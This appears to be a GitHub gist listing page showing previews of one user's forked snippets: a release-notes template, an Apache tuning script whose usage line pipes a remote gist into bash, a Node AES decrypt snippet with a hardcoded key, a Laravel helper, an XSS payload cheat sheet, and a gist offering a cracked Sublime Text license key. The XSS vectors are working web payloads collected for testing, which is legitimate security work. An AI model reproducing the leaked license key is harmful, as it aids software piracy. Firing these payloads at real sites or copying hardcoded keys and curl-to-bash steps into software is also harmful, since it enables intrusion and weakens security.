Skip to content

Instantly share code, notes, and snippets.

@photoup-godwinh
photoup-godwinh / RELEASE-NOTES.md
Created November 29, 2023 05:31 — forked from andreasonny83/RELEASE-NOTES.md
Release Notes Template

Release Notes Template

Based off https://palantir.quip.com/pzRwAVr1bpzf

Pro-tip: look through the github diff between the previous release to see what's changed. The commit titles should give an outline of what's happened.

Upgrade Steps

  • List out, as concretely as possible, any steps users have to take when they upgrade beyond just dumping the dependency.
  • Write pseudocode that highlights what code should change and how.
@photoup-godwinh
photoup-godwinh / calculate_apache_mpm_config.sh
Created February 28, 2023 05:01 — forked from Josh5/calculate_apache_mpm_config.sh
A rough calculation of Apache MPM config
#!/bin/bash
#
# @Author: Josh Sunnex
# @Date: 2019-01-31 10:26:00
# @Last Modified by: josh5
# @Last Modified time: 2019-01-31 10:36:07
#
# usage:
# curl -sSL https://gist.githubusercontent.com/Josh5/ff6ccfe4c75ae27a3f1efebcb645e7c4/raw/calculate_apache_mpm_config.sh | bash -s [PID]
#
@photoup-godwinh
photoup-godwinh / calculate_apache_mpm_config.sh
Created February 28, 2023 05:01 — forked from Josh5/calculate_apache_mpm_config.sh
A rough calculation of Apache MPM config
#!/bin/bash
#
# @Author: Josh Sunnex
# @Date: 2019-01-31 10:26:00
# @Last Modified by: josh5
# @Last Modified time: 2019-01-31 10:36:07
#
# usage:
# curl -sSL https://gist.githubusercontent.com/Josh5/ff6ccfe4c75ae27a3f1efebcb645e7c4/raw/calculate_apache_mpm_config.sh | bash -s [PID]
#
@photoup-godwinh
photoup-godwinh / decrypt.js
Created March 8, 2019 02:56 — forked from pradipchitrakar/decrypt.js
AES Encrypt data in php and decrypt in node js.
//require cyrpto module
var crypto=require('crypto');
//key and iv should be same as the one in encrypt.php
var decipher=crypto.createDecipheriv('aes-256-cbc','12345678901234561234567890123456','1234567890123456');
//since we have already added padding while encrypting, we will set autopadding of node js to false.
decipher.setAutoPadding(false);
// copy the output of encrypt.php and paste it below
@photoup-godwinh
photoup-godwinh / array_only_recursive
Created June 20, 2018 16:29
Laravel array_only_recursive
/**
* matches a string to an array of key-patterns
* @param $string - the string to match
* @param $keys - array of key-patterns. can a a simple string key, dot-notated key, a wilcard key
* @return boolean
*
* usage:
* match_key_patterns('person.name', ['person.name', 'person.age', 'account.*']) => returns TRUE as person.name matches a value in the keys
* match_key_patterns('person.bday', ['person.name', 'person.age', 'account.*']) => returns FALSE as person.bday did not match a value in the keys
* match_key_patterns('account.password', ['person.name', 'person.age', 'account.*']) => returns TRUE as account.password matches a wilcard key pattern which is account.*
@photoup-godwinh
photoup-godwinh / xss_vectors.txt
Created March 2, 2018 01:59 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@photoup-godwinh
photoup-godwinh / Sublime Text 3 Build 3103 License Key - CRACK
Created September 2, 2016 02:24
Sublime Text 3 Build 3103 License Key - CRACK
I use the first
—– BEGIN LICENSE —–
Michael Barnes
Single User License
EA7E-821385
8A353C41 872A0D5C DF9B2950 AFF6F667
C458EA6D 8EA3C286 98D1D650 131A97AB
AA919AEC EF20E143 B361B1E7 4C8B7F04